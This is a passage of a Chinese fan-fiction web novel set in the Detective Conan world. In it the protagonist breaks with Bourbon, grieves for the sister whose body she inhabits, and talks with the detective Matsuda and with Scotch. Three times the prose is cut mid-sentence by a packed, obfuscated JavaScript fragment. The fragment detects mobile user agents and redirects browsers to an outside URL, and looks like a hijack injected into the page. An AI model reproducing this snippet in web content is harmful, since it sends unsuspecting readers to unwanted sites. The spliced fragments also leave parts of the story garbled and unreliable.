“你受刺激人都傻了?”白羽响皱了皱眉,“别闹。” 波本自然也不是真心打算这番对话带上莱伊。 他沉着脸看着莱伊的背影越走越远,直到完全看不见了才收回了目光。 天台安静了下来,只剩下白羽响和波本两人对峙着。 38.一记耳光 “说吧,你打算给我一个什么样的解释?” 确认周围再无他人之后,波本开口了。他居高临下地站在白羽响面前,嘴角挂着一抹嘲讽的冷笑。 今晚他盯了白羽响很久。 她突如其来的背刺打破了他原本的安排与计划,险些让他忘记了还有许多重要的事要做。 “解释?你想听我解释什么?”白羽响看着他,“什么事都要去追查原因,你又不是小孩子。” 她反水了,仅此而已。 这背后的原因涉及她的身世与秘密,她不打算分享给波本。她甚至还想着要让波本放弃对莱伊的穷追不舍,后退一步,保持表面的和平…… 她得寸进尺,但那又怎样? 这种事,他从前也没少做。 “不然呢?”波本的声音压得极低,尾音却带着明显绷不住的怒意,“我要接受你和莱伊不明不白地混在一起,从背后捅我一刀?” “波本,别装傻了。你都看到了,今天琴酒也来了。”白羽响打断了他的话,“他说的话你都听见了吧,组织的眼里,这个任务不容有失。你做的手脚掩饰得再好也会被察觉的。虽然我背叛了你,但是没有做伤害你的事。” 好在莱伊在赶来之前,已经率先一枪了结了黑川。不然如果波本真的按原计划状告莱伊,以琴酒的狠戾,指不定谁会先变成他的枪下亡魂。 “你的意思是,我还要多谢你的救命之恩了?” 波本冷笑出声。 方才在组织众人面前,他已经拼尽全力克制。此刻被白羽响轻飘飘一句话挑破,那股积压的怒火再也按捺不住。 “白羽小姐,冠冕堂皇的话少说点,你也没少背着组织做手脚。你忘了那块被调换的芯片,是谁帮着你掩人耳目?”他上前一步,咬牙切齿,每一个字都像是从牙缝里挤出来的,“还有你的身份,你真以为藏得严严实实,可以高枕无忧了?你和你的仇人沆瀣一气的时候,就没想过我会把这些事公之于众?” 天台的射灯正落在波本身后,将他的影子拉得又细又长,沉沉地铺在白羽响脚边,像一张密不透风、蓄势待发的网,几乎要将她困死在原地。 他挑眉威胁道:“你不会真的觉得,这些事情东窗事发,莱伊能护得住你吧?” 他这么说,是非要跟她撕破脸皮。 白羽响叹了口气。 看来今晚想要和平解决已经不太可能了。 “互利互惠的事情,别说得你真心地想帮我一样。” 原本她不想掰开这些事一件一件地和他算账。但既然波本想这么做,她也不介意把话说得直白而难听。 “从一开始,你就想利用我搅乱莱伊的任务。我们是各取所需,别给自己脸上贴金了。” “你不明白!”波本猛地提高了音量,胸腔剧烈起伏着。 “我不明白?”白羽响轻笑一声,“好,那我倒要问问你——” “你在背后偷偷调查我的身世,是组织的安排,还是你自己的主意?” 如果是组织的安排,那他就是“观测者”;如果是自己的主意,那他就是处心积虑要拖她入局。要不然,他也不会在拿到DNA报告的那天就做好这么详尽的计划。 不……或许更早,在他第一次抢夺三木一海绑架任务的时候,就开始算计她了。 “啊,对了。你策划对付莱伊的行动,找了另外一个合作者。关于这件事,我屡次问你,为什么从来都不肯告诉我任务的全貌呢?” 她几乎是稀里糊涂地替他去蹚了一趟刀山火海。如果她没有主动讨要那把枪,在与黑川谈判的时候,就已经没命了。 “还有,关于你的另一个合作对象贝尔摩德。你和她的交易,一定比我的更优先对吧?不然你也不会为了让她行事方便,就把我推出去当诱饵。” 她对贝尔摩德在谈判时朝黑川的电脑开的那一枪耿耿于怀。那个时候她还能忍着不满,在波本的安抚之下得过且过,但现在她不想忍了。 “我那天可差点就死了。”白羽响笑着问道,“波本,这些事,你给过我解释吗?” 答应了他的合作之后,一直到今天晚间,她既没出过差错,也没敷衍了事。中途的诸多不满,说过的最影响合作的话也只不过是“没有下回”。 凭什么他能觉得这一切理所当然呢? 就凭他觉得她是一个不会发怒的工具人吗? “我当然可以给你解释。调查你是我个人的意愿,那是为了行动计划做的保障。”波本皱紧眉头,急切地辩解,“而且最开始的计划里,贝尔摩德根本不会开那一枪!是你突然要枪的行为,让她起了开枪的念头……我也没有想到事情会变成这样。那天之前,我甚至一直以为你是贝尔摩德的人,不然我也不会要求她提供枪给你!” 他深吸一口气,语气带着几分不易察觉的无奈:“退一万步说,你这样心高气傲,如果一开始就告诉你,你只是计划里的诱饵,你会好好配合吗?” 这番话瞬间点燃了白羽响的无名怒火。 “这么说,你给我的解释就是为了达成目的,明知道我不乐意,还要瞒着我、逼着我去做?”她仿佛听见了什么笑话,“所以,你一开始想从我嘴里听的是这种无耻的解释?” 她自认在和波本相处的过程中算得上是放下架子好好配合,原来他觉得她很不好合作,心高气傲啊。 “好,我承认,我利用了你的立场来推进计谋。”波本话锋一转,眉头皱紧,“但这和今晚是两回事!” 白羽响看着他坦然的模样,只觉得荒谬至极:“行,我没出事,所以活该忍受你的利用。那你今晚也没有受到伤害,在咄咄逼人什么?” 波本沉默了几秒。 他并不喜欢这种争吵,甚至在看着她谈起这个话题的怒意时,才后知后觉她的怒气已经积攒了这么久、这么深。 或许她说的对,翻旧账追根求底是小孩子才会做的事。 他闭上了嘴,为了给二人一些时间。他们得换个话题。 听着她急促的呼吸声渐渐变得平缓,波本才再次开口说道:“我做这些事,是为了给你姐姐报仇。她对我很重要,莱伊必须为她的死负责。这件事,你应该比我更清楚。” 是啊。 多么完美的借口。 若她不是响酒本人,怕是真要被这番“真诚”的说辞打动了。 “重要的人?”白羽响突然笑了,笑声里满是讥讽,是发自内心的觉得可笑,“你和她相处不过一个多月,一起执行过三次任务。别说搭档,连熟人都算不上吧?波本,别说这种鬼话。” 她是引荐了波本没错,可他在组织里的后续发展,几乎和她毫无干系。这几年更是鲜有往来,最多不过是在组织碰面时,点头示意的人情。 如果波本今晚坦诚他就是想对付莱伊,或许她还没现在那么生气难过。 波本的脸色僵了僵:“你怎么知道……” 他与响酒的往事虽然不是什么秘密,但从来没有人声张过,几乎没有人知道他也是借响酒的手一步步打入了组织的核心。 难道,响酒和她提起过关于自己的事?提得那么细致? “就因为这个你不相信我?”波本的眼神里闪过一丝痛苦和困惑,“所以你宁可帮着你的仇人?” “对,我就是不信你,波本。”白羽响的声音带着一丝疲惫,却依旧有力,“你什么时候坦诚过?事事都瞒着,只会在背后搞小动作——你凭什么要求我对你交付信任?” 她忽然想起那个晚上。 她、苏格兰、波本在安全屋里休息,睡前她拦下了波本偷偷摸摸的举动。那时她心一软,没将他赶出去,容忍他留在了自己的安全屋。 现在想来,那种程度的阻挠,不过是防君子不防小人。 在她拦下之后,波本定然还是趁着她不备,在安全屋里翻找了个遍。 她的安全屋,她的底线,就因为那一次松懈,彻底暴露给了一个不值得信任的人。 白羽响看着波本的脸。 那张脸依旧熟悉,可她却再也找不到半分过去的影子。 眼前的人,可怕、危险、毫无底线,早已面目全非。 “你还记得我们第一次一起做任务吗?”白羽响轻声问道,“那天我们假扮情侣的时候,你告诉我,如果我不是虚荣心发作,和任务对象夸下海口说自己有一个帅气的男朋友,你还在千里之外的海边晒日光浴度假。” 波本的目光挪开了一瞬。 有这回事吗? 或许吧。不过那只是他为了让白羽响觉得她欠了他的人情而随口撒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你少来这套!”她再也忍不住,失去了理智般吼道,“她死了,她已经死了!她从没对不起你,她都死了还要成为你对付莱伊的借口,凭什么?” 她难以忍受今晚波本的每一句话。 如果不是和他共处的记忆中有一些独特与温馨,她或许不会这么难过窒息。 她甚至分不清楚,这个人是从一开始就是这样,还是在组织中慢慢变成了这样。 她当然不想相信,这个人从最开始与自己相处的点点滴滴都是出自于“观察”而进行的“正确的行为”。 可现实告诉她,或许他就是这样的人。她死死盯着波本,声音因极致的隐忍而微微发颤。 “波本,你活该。” 她深深吸了一口气。 “这些事,包括你利用我的信任,窥探我的底线,把我的安全屋当成你搜集证据的地盘——每一件,我都不能原谅。” 她的目光里满是决绝,方才还残留的一丝复杂情绪,此刻已被彻底的失望取代。 波本对这话毫无反应,他站在原地没有做声,仿佛整个人已经浸入黑夜。 那一记耳光,不仅是打在波本脸上,更是打碎了她对这段旧识情谊最后的一丝念想。 波本张了张嘴,似乎想辩解什么,可看着白羽响那双满是寒意的眼睛,所有的话都堵在了喉咙里。 “我们最好不要轻举妄动。你知道的,我手上握着你当时构陷莱伊计划的全部录音。” 白羽响说着后退了两步,刚刚剧烈的呼吸让她的大脑有些缺氧。她甚至不敢直视波本现在脸上的神情,生怕自己又一时心软,相信了他的鬼话。 最开始留的那一手,最后还是用上了。 她与波本别无选择一样地走到了最坏的结局,两败俱伤。 她不明白波本的谎言和算计,更不明白他的利用。不过既然他喜欢这么相处,那她决定尊重他的选择。 “反正‘互握把柄’,对于你来说或许是比‘互相信任’更安全的关系,对吧?” 她的声音很轻,仿佛从很远很远的地方传来。 这句话就像在说—— 他们从此桥归桥路归路,不再深交了。 39.松田警官的等待 沉闷的关车门声打破了夜幕的寂静。 白羽响坐回莱伊的车里,侧着头将额角抵着冰凉的车窗。 掌心还残存着那一记耳光的灼热触感。 她下意识看了看手掌,好似下个楼的功夫,她心里翻涌的怒火与失望,都已经瞬间沉淀为疲惫的荒芜。 车换了档,脚却还踩在刹车上。 主驾驶位的莱伊瞥了白羽响一眼,目光掠过她泛红的眼角,最终落在她投向窗外的视线上——她的目光依旧黏在高楼门口的方向。 组织的人已经撤走,那里此刻一片安静。 波本的身影没有出现在那儿,两个人大概谈得不太愉快。 莱伊下意识等了一会儿,门口依然没有动静。 他忍不住发问:“波本还活着吗?” 白羽响对这句话终于有了些反应。 她回过头,无语地看了莱伊一眼。 这是什么新式冷笑话吗? 她只是有些疲惫。其实她完全没落下风——狠狠地吵了一架、还打了他一巴掌,但心里完全没有胜利归来的喜悦。 波本最后慌乱而痛苦的眼神在脑海里挥之不去,刺痛着她的心脏。 直到坐到车里,她才后知后觉自己的反常。被人牵动情绪的滋味不好受。 或许那份报仇的执念是真的,或许对响酒的在意也并非虚构,但掺杂了太多谎言、利用与隐瞒的真心,她没本事看得明白。只是不知道苏格兰对这件事的态度会如何,日后他会不会难做…… 算了,打都打了,管那些做什么,大不了走一步看一步。 “要再去和他聊聊吗?”莱伊问她。 白羽响缓缓收回目光,摇了摇头。 “不了。”她轻声说道,“开车走吧。” 莱伊看了她一眼,启动引擎,黑色的轿车悄无声息地滑入夜色,朝着远离高楼的方向驶去。 “去我那儿?”他冷不丁问了一声。 白羽响摇了摇头:“回安全屋,我要一个人待会儿。” 今晚发生了太多的事情,计划赶不上变化。此刻她只想待在一个完全属于自己的空间,消化耗尽心力的争执,在脑中复盘与思考,在这之后要做点什么。 莱伊没再坚持,将她送到了安全屋附近的巷口。这里没有路灯,只有远处商铺漏出的一点微光,将巷子衬得格外幽深。 白羽响解开安全带,推开车门径直走了下去,没有回头,身影很快被黑暗吞没。 推开门,扑面而来的是熟悉的一切,都和她离开时一样。熟悉感让她瞬间卸下了所有伪装,积攒了一整天的疲惫感如潮水般涌来,几乎要将她淹没。 她反手关上门,后背重重抵在门板上,指尖还握着冰冷的门把手。 一整天的兵荒马乱,此刻全都争先恐后地钻进脑海,搅得她太阳穴突突发胀,一跳一跳地疼。 明明身上没有一处伤口,可全身上下都在疼。 像是骨头缝里钻进了寒气,又像是五脏六腑都被揉碎了,痛得她连呼吸都觉得费力,仿佛下一秒,灵魂就要从这具疲惫的肉身里抽离出去。 她再也撑不住了,顺着门板缓缓滑坐在地上。背脊贴着冰冷的门板,双腿曲起,将脸轻轻埋在膝盖上,闭上了眼睛。 她的周围有一张网,四周全是不怀好意的人。她走不出去,也挣脱不开。 睁开眼是刀光剑影,闭上眼是尔虞我诈。 她到底在坚持什么? 放过了莱伊,就相当于不再执着于自证清白。 那这之后呢? 那些从暗处伸出来钳制她的手,要如何一只一只地找到属于谁? 受人摆布、被人利用,这样的人生什么时候会到尽头? 坐了好一会儿之后,她费力地从地上爬起来,准备去给自己弄点吃的。这种时候谁陪伴着都不好使,只有做点别的事转移一下注意力。 打开冰箱扫视了一圈,熟悉的黄油与速食金枪鱼罐头映入眼帘。 一瞬间时间好像又回到了那个晚上,手受伤的苏格兰倚在门边看着她和波本在厨房里做饭。那顿食材糟糕的晚饭像是一处锚点,越是想要避开,就越会回到她的大脑中。 她猛地关上冰箱门,长长地叹了口气。 该死的。 为什么事情会变成这样。 正疲惫地胡思乱想,手机突然响了起来。她转过身去,打开了手机看了一眼。 “主题:【提交成功通知】您申请的「东京都现代艺术展——春日私语」观展资格已确认! 尊敬的白羽响女士: 您好! 恭喜您提交的……” 画展? 她有些惊讶地睁大了些眼睛,下意识截了个图。 这条申请不是她提交的。 跳出的是手机的推送,内容不完整,显然后面还有更为重要的东西。 她下意识点进邮件链接,跳转页面后弹出的登录界面很是陌生。 这是一个从未见过的邮箱账号,数字与字母组合得毫无规律,显然是妹妹之前使用这台手机的时候,刻意隐藏的秘密邮箱。 稍作思索之后,她试着输入了之前破解出来的两个常用密码,都弹出了密码错误的提示。冰冷的字像在提醒她,这是属于那个女孩的私密空间。 那个女孩,被她占据了身体、素未谋面的妹妹,留下的痕迹。 波本好像之前试探她的时候说过,原主曾经有过画画的爱好。所以她不只是“组织里的棋子”,短暂的生命也不只是一段贫瘠又黑暗的人生。她会为了一场艺术展,悄悄预约、耐心等待,还会特意用不常用的邮箱珍藏这份期待。 她有自己的爱好,有对春日樱花、对艺术之美的向往,有藏在心底的、柔软的追求。 那些被组织的刀光剑影、被背叛与仇恨掩盖的鲜活,在这一刻突然冲破了枷锁,清晰地展现在她眼前。 白羽响的手指悬在屏幕上方,久久没有落下。 她反复查看着着截图中的通知界面,一遍又一遍机械地读着那几行字,像是要把每个字符都刻进心里。眼眶后知后觉一般地开始发烫,紧接着,泪水毫无预兆地砸在手机屏幕上,晕开了一小块模糊的光斑。 酸胀感从眼底蔓延开来。泪珠无声地顺着脸颊滚落,砸在膝盖上的布料上,洇出一个个深色的小印。 那个女孩,本该有机会走进美术馆,站在春日主题的画作前,感受光影与色彩交织的温柔;本该有机会带着同伴,领取一张纪念明信片,在打卡区留下笑容;本该有机会,远离这一切血腥与算计,好好看看这个世界的美好。 而她,虽然顶着“白羽响”的名字活了下来,却又算不上是真正地活着。 她抹了一把脸上的泪水,走到镜子面前。 镜中的脸已经不再陌生,那是她血脉相连的亲人的脸。 几分钟之前,她甚至想蜷缩在门边什么都不做,直接睡上一整天。 “我会振作起来的。” 像是喃喃自语一样,她朝着那个神秘的邮箱说道。 她已经死过一次了。 那晚的火光带走了她的身体,也夺走了妹妹的意识。 这一次,她得活着,即使是带着痛苦,也要好好地活下去,带着妹妹的份一起。 她挽起长发,绕了两圈扎了起来,洗了把脸,把自己的疲态收拾了一下,上床睡了一个安稳的觉。 一夜无梦。 第二天醒来的时候,身上的疲惫感消失了不少,只剩头还在微微作痛。 白羽响拉开窗帘,透过薄纱看了一眼天光,晨雾还未散尽,淡金色的阳光漫过窗沿,在地板上投下一片柔和的光斑。时间不早了,楼下已经传来零星的车流声,是这座城市苏醒的信号。 她转身走向洗漱台,刚拿起牙刷,放在床头柜上的手机又震动了一下,屏幕亮着,弹出一条未读邮件预览。 是莱伊,打算约她见面,事情不紧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17175824|192927||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 急,但是希望能尽快。 白羽响用眼角的余光扫了一眼,握着牙刷的手顿了顿,随即若无其事地继续动作。牙膏泡沫在齿间泛起,薄荷的凉意驱散了残留的睡意,却压不下心头那点微妙的烦躁。 莱伊要谈的事是什么,她心知肚明。 昨晚天台那场闹剧之后,她和波本彻底撕破脸,又以“莱伊的人”的身份在组织众人面前亮相。 莱伊是FBI卧底,他需要一个在组织内部的助力,而眼下,她无疑是最合适的人选——立场暧昧,与组织有血海深仇,还和他有过情感上的交集。莱伊多半想要邀她做线人,结成真正的同盟。 但白羽响无法迅速做出回应。 在昨天之前,她从来没想过要做组织的二五仔。 哪怕对被夺走性命恨之入骨,哪怕对组织的冷酷早已失望,她的目标也只是给自己复仇,仅此而已。 她对莱伊有私心作祟的成分,但也有自己的目的。莱伊的手上有关于“降神计划”的内幕,这是她迫切需要的东西。 昨晚莱伊对她承认了卧底的身份。虽然莱伊没骗她,让她挺欣慰,但她也知道,事情的主动权只是看似在她的手上。 莱伊交出了卧底的身份,也知晓了她的秘密,这是一种立场上的拉近关系。但要她彻底站到组织的对立面,和FBI扯上关系,性质就不同了。 她过去的人生都与组织有关,彻底切割,就等同于再无回头路。 而且……跟条子走得近,很容易会“水土不服”的。 她将手机随手丢回床头柜,转身走向衣柜。衣柜里大多是便于行动的深色衣物,她翻了翻,最终拿出一件浅灰色的短款外套。 穿上外套,她对着镜子理了理衣领。 走出大门前,玄关上放着的男士手表吸引了她的注意力。 那是波本的表。 自从她把它从波本的手上摘来,就当作纪念品一样放在了安全屋里。 她伸出手轻轻触碰,表盘冰冷而光滑。之前她曾因为一时好奇将表拿起来听过,即使是贴着表盘,耳朵也几乎听不见机械的响动。 和波本闹翻的事,还是和苏格兰说一声比较好。 她打开手机看了一眼,与苏格兰的对话还停在几天前。 尝试着将事情简单概述了近一百字后,她又把所有的文字都删去。 算了…… 这种麻烦的事,扔给波本去做吧。 简单地吃了个早饭,她沿着安全屋周围的街道开始慢跑。 一边跑,她一边整理着思绪。 午后的阳光渐渐变得灼热,白羽响找了家有遮阳棚的咖啡馆坐下,点了一杯冰美式。她再次拿出手机,点开了莱伊的邮件,目光在“尽快”两个字上停留了许久,指尖在屏幕上悬了又悬,最终还是没回复,只是将邮件标了星标,便收起了手机。 莱伊的邀约可以先放一放。眼下还有更重要的事要做——组织的下一个任务随时都会开始,还有那场妹妹期待已久的艺术展,时间就在一周之后,她到时候得去看看。 坐在咖啡馆里待了近一个小时,看着街上来来往往的行人,感受着这份难得的平静,白羽响渐渐觉得心里的烦躁淡了些。她结了账,起身朝着堤无津川码头的方向走去。 这里是一切结束和开始的地方,她时不时就会来这里转转。 比起她用来躲藏的安全屋,这里更像是一个泊船的港湾。 她刚走到最外侧那间仓库的门口,就看到一道熟悉的身影站在门边,双手插在口袋里,嘴里还叼着一根没点燃的烟。 是松田阵平。 白羽响脚步一顿,心里有些意外——他怎么会在这里? 松田阵平回过头,看了她一眼,把烟掐灭了走过来。 “我在等你。” 他这么说道。 白羽响停下脚步,眉头微不可察地蹙了一下。 被警方的人等着……可算不上是什么好事。 40.警官与不法分子 “你找我有什么事吗?”白羽响问松田阵平。 松田会在堤无津川码头这种地方守株待兔,一定有很要紧的事。在听他说完之前,她不会提前抽身而走,但是……这并不意味着她愿意和警方的人打交道。 虽然只是见过寥寥几面,但她能感觉到这位年轻又帅气的警官能力出众。她如今还身在组织,还是少来往为妙。 松田阵平摩挲着掐灭的烟蒂:“之前仓库爆.炸案中女性死者的尸体,被人领走了。” 简洁明了的一句话,让白羽响脸上平静的神色瞬间皲裂。 她的声音不自觉抬高了些:“领走?” 谁有立场来领走她的尸身? 她本就是孤儿,一直都生存在组织内,虽然曾有家人,但那些人都依托组织生活,没有人会去领一个“叛徒”的尸体。就算是她自己,明知道现在使用的身体与她是姐妹的关系,也没想过要去为自己收尸。 那样太招摇了,会惹来麻烦的。 “嗯,是的。”松田点了点头,“我想你或许认识。他登记的名字叫凯尔,长得很高,眉毛特别嚣张,金发,外籍。一个月前的时候他就来认过一次尸,不过那个时候他只是在那具尸身面前站了一会儿,什么都没说就离开了。这次过来的时候,备好了所有的手续,流程走得很顺利。” 她跟着松田的话想了想嚣张的眉毛,忍不住笑了一声,然而随即喉咙像是被什么东西堵住了,酸涩又沉重。 凯尔。 这个化名……是爱尔兰。 她一瞬间就明白了。 也不知爱尔兰为了认领这具尸体,要顶着多大的压力,要费多少周折。而几天前,她甚至还在怀疑爱尔兰和皮斯科是响酒的观测者。 思念、愧疚、担忧……种种情绪像潮水一样涌上来,瞬间淹没了她。 自从这一切发生以来,她一直逼着自己优先处理事情,不怎么顾着消化情绪。她像个上了发条的机器,不敢有片刻停歇。可此刻,听到爱尔兰的消息,她所有的克制都在瞬间崩塌。 眼角不自觉地开始发酸,一股热意不受控制地往上涌,模糊了视线。 她下意识别过头,看向不远处的堤无津川,抬手用指尖蹭了蹭眼角,遮掩了自己不受控制的泪意。 她简单地告诉松田:“对,我认识。他是我……我们的哥哥。” 日本人长相,却有一个外籍人士的哥哥吗? 松田的目光一直落在她的脸上,锐利却不逼人。他既没有追问,也没有打破这份沉默,只是静静地给她足够的时间平复情绪。 远处的风带来飞鸟的鸣叫,漾起的河水打在堤岸之上,传来了规律的响动。 几个呼吸之间,她就把情绪再次收拾好了。这种近乎苛刻的忍耐力是自我保护的方式,面对这个只有几面之缘的警.察,她不能这样松懈。 “为了这件事特地告诉我一声,谢谢。”白羽响与他轻声道谢。 松田阵平的目光掠过她眼底未散的红色,像闲聊一般地说道:“不过,他带走那具尸体的时候,给她登记的身份是某个有钱人家的大小姐,家境优渥,好像和你之前告诉我的不太一样。” 白羽响的心轻轻一跳。 上一次二人在堤无津川码头仓库碰面的时候,松田问起死者身份,她暗示对方死去的响酒是个在灰色地带做“脏活”的人。 当时说这句话,只是想降低自己与死者的关联性,避免引来麻烦,但她说的是实话。 她没想到之后爱尔兰会顶着压力认领她的尸体,更没想到他会将手续做得如此周全。 白羽响扯了扯嘴角,露出一抹淡淡的、带着自嘲的笑:“那是骗你的。” 松田挑了挑眉,似乎有些意外。 “没想到警方也这么好骗。”她补充道,语气里带着一丝刻意的轻佻,试图掩盖自己真实的想法。 说完这句话,她的脑海里无端闪过了波本的脸。 原来人真的会因为种种缘由,慢慢习惯说谎。那些谎言里,或许藏着无奈,藏着保护,藏着不为人知的苦衷。 那个满口谎言的人,是否其中有些话也并非出自恶意,而是迫不得已? 松田听她撒谎一般的口吻,目光在她的脸上停留了几秒钟。 “哦?原来在你这儿,警察就是那么好糊弄的啊——”松田一边说着,一边转着手里的打火机,“你的口吻像个不法分子,我开始思考要不要将你逮捕归案了。” 她确实是个不法分子,不过眼前的警员也没有证据。 何况,她能听出这只是一句玩笑话。 白羽响不想再在这个话题上纠缠,她就像普通的闲聊那般转移了话题:“那么松田警官呢?居酒屋见到你的那会儿,你好像在私下查什么事。那事有下落了吗?” 作为警员,下班后过了几个小时又回到了警视厅附近的店里琢磨私事。能让这个人放弃休息时间,执着追查的,多半是难有线索的旧案。像今天这样的星期天,他依然还在为了那些事奔波,也是够辛苦的。 松田脸上的笑容渐渐淡了下去,目光变得严肃了许多,他看着旁边的河水,点了点头。 “有点线索了,托你的福。” “托……我的福?”白羽响抬了抬眉,“我帮上什么忙了?” 在记忆之中,她可从来没有一次向警方伸出援手,添乱倒是没少干。 该不会,这也是一句玩笑话吧? 松田看了她一眼,没有和她解释这句话的原因。 几天前,他追查那起发布会上发生的“假枪击案”时,在现场搜索到了那枚“幽灵贴片”。他对那枚微型炸.弹很感兴趣,原本想通过会场的监控看看是什么人通过什么方式安置的,却没想到,有人捷足先登取走了所有的监控记录,甚至还删除了云端备份。 是个高手。 松田这样做出了判断之后,这几天没少在闲时查看会场周围路面的监控信息。原本只是想找个事情打发时间,没想到竟然意外在监控里见到了熟悉的身影。 许久未见的降谷零,以及一个女人的背影。 那个背影如此眼熟,怎么看怎么都像眼前的这个女人。 无独有偶,就在他将那枚“幽灵贴片”交给专家进行分析调查的当天,一封匿名的邮件发送到了他的私人邮箱。 一张图片。 “幽灵贴片”完整时的图片。 他清晰地看到了那枚微型炸.弹上的制作痕迹,使用的材料虽然变得更为先进,但制作的习惯却与他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“虽然不知道我帮上你什么忙了,但我就祝你早日能睡个安稳觉。”白羽响说着,将手插进了口袋里摸到了熟悉的枪身,“在暗处的敌人很致命,你可得格外小心。” 那种赌着命往前走的滋味,她能感同身受。甚至她比松田更加幸运一些,知道自己的目标在哪里,有大概的方向。 松田闻言转过头看向她,嘴角扯出一抹算不上轻松的微笑,眼底的锐痛被随性的伪装掩饰过去。 “放心,我没打算送死。”松田阵平说着,指尖转了转手中的那根烟,唇角突然一弯,“我还等着领警队的退休金呢。” 白羽响看着他,也跟着弯了弯唇角。 不知道为什么,虽然没打过几次交道,但她莫名就觉得,真到了退休的时候,这个人一定也还是闲不住。 他是个警.察,但是重情重义的作风很讨人喜欢。 可惜就可惜在他想领退休金,注定没法绕过司法,一枪杀掉仇人。 真憋屈啊。 她想了想,开口说道:“你要是碍于职责对仇人下不去手,我可以帮你。” “以眼还眼,以牙还牙”,这是爱尔兰教给她的准则之一。与它同样重要的,是“投桃报李”。 事到如今,她也不想避讳自己的真实想法了,反正和警员私下说的话也不能拿去呈堂证供。 “那就不必了。”松田挥了挥手,嘴角有些得意地翘着,“你果然是个不法分子。” 那又怎样?反正他也不是搜查一课的刑警。 她有恃无恐地笑了笑。 松田没想和她纠缠这个话题,转身摆手离开了。 41.苏格兰的电话 枡山家宅邸位于一片远离喧嚣的富人区,周围的安保十分严格。不仅层层设卡,监控也是360度无死角的,甚至一楼的地面上还有朝天安装的监控,可以说是“人过留影,车过留牌”。 白羽响牵着一条罗威纳犬,徘徊在这片富人区内。 这是她为了掩人耳目临时找的新兼职,为住在附近的一位富家太太照顾她的狗。 她一边遛狗,一边观察着她昔日的“家”。 这里的一切都看着眼熟,但她并没有多少归属感——没成年的时候,组织有自己的地下训练营,成年了以后,也有自己的安全屋,除非逢年过节应付一些必要的家族场面,她很少回这里。 但养父和义兄待她很好,她心里有数。 身为养父,皮斯科不算严厉,甚至对她颇为纵容。自打被收养以来,她的金钱方面再也没短缺过。不过因为种种原因,皮斯科一直十分忙碌,他自己也并不怎么住在这里。他没有亲儿女,倒是有几个讨人厌的侄子常来这儿找她的不痛快。 不过她从来没因为这群人受过气。毕竟,即使皮斯科忙碌到没空出面,爱尔兰也会协助他处理。 比起养父体面而有代沟的保护方式,身为义兄的爱尔兰手段强硬而直接。尽管差了不少年纪,但她与爱尔兰的羁绊一直都很深。 因为有着家人,有着那些零碎的、温暖的片段,她才觉得组织值得她维护与报恩。 可现在,一切都变了。 罗威纳犬停在枡山家宅邸附近的草地上,开始半蹲着嗅着地面,一圈一圈地打转。白羽响安静地站在它的附近,时不时瞥向黑色的铁栅栏内郁郁葱葱的庭院。一栋欧式别墅隐在树荫深处,安静得像一幅画。 组织不值得她维护,更不值得她报恩;从头到尾,对她有恩的只是养父和义兄而已。 可是偏偏,这两个人又与组织的瓜葛太深。皮斯科的生意是依托组织的门路做起来的,爱尔兰更是手上沾满了鲜血,要让这两个人和组织切割开也很困难。 她的心头交杂着矛盾的情感。 如今她顶着白羽响的身份,对枡山家来说是一个彻头彻尾的陌生人。她还包庇莱伊,在完成任务时为了私心做了不少小动作,可以说与组织已经在渐行渐远。 她心里没底。 如果她向这两个人倾诉了自己的秘密,得到的是无条件的信任与包容,还是…… 罢了,养父年事已高,在组织里的地位早已不如从前;爱尔兰为了认领她的尸体,已经冒了足够大的风险,她不能再给他们添麻烦了。 蹲下身清理完草地,她拿出手机给活蹦乱跳的狗拍照,告诉自己的雇主工作已经完成,她打算离开了。 正在此时,她的身后传来了人说话的声音。 侧过头一看,不远处的庭院里,一个熟悉的身影从别墅里走了出来。 是爱尔兰。 他穿着一件得体的西装,不像是日常的打扮,倒像是在做什么正事,神情有些严肃。他往前走了两步之后,回过身迎了迎身后的人。 一根栗色的拐杖朝着门外的地面探了两分,拐杖底端磨亮的金属蹭上了地上的石块,但拐杖的主人却没有要出门的意思,回过头和门内的人继续说话。 谈生意?还是会友? 那个背影看起来是个上了年纪的老人,但又绝对不是皮斯科。 她正打算继续观察,手机上来了一封邮件。 不是有钱的富太太雇主,而且好几天没与她联系的苏格兰。 ——方便通个话吗? 白羽响看着这行字,一时竟然有些不习惯。组织成员之间一般都用邮件联系,她也不例外。 不过苏格兰找她,大概是为了她与波本的事? 但她生波本的气与苏格兰无关,她并不希望苏格兰插手这件事。不过如果他真的要管,面子当然也是要给的。 白羽响牵着狗往旁边走了两步,离开了枡山宅附近,走到一处僻静的林荫道旁,指尖划过屏幕,拨通了苏格兰的电话。 听筒里传来短暂的忙音,不过两秒,那道熟悉又久违的声音便缓缓传来:“白羽小姐?” 白羽响握着手机的指尖几不可查地顿了顿,心头一软。 总感觉已经有好一阵没听到了,独属于苏格兰的、让人下意识卸下防备的声音。 她压下突如其来的怀念,刻意放轻了语气:“是我。” 她没急着问“有什么事”,毕竟那像要催促他赶紧讲完挂断电话一般。今天下午她空闲的时间很长,长到可以全部预留给电话那头的人。 呼吸声从电话那头传入耳朵,苏格兰似乎正在措辞。 白羽响没有说话。她刻意留了时间,等着苏格兰的下文。 可出乎她意料的是,苏格兰想要说的事是另外一桩。 “倒也没什么特别的事。只是偶然想起来,你之前似乎有一笔债务没结清,不知道现在……还有压力吗?” 他的语气依旧温和,还多了几分小心翼翼的试探。 白羽响愣了几秒,完全没想到苏格兰会突然关心她的债务问题。 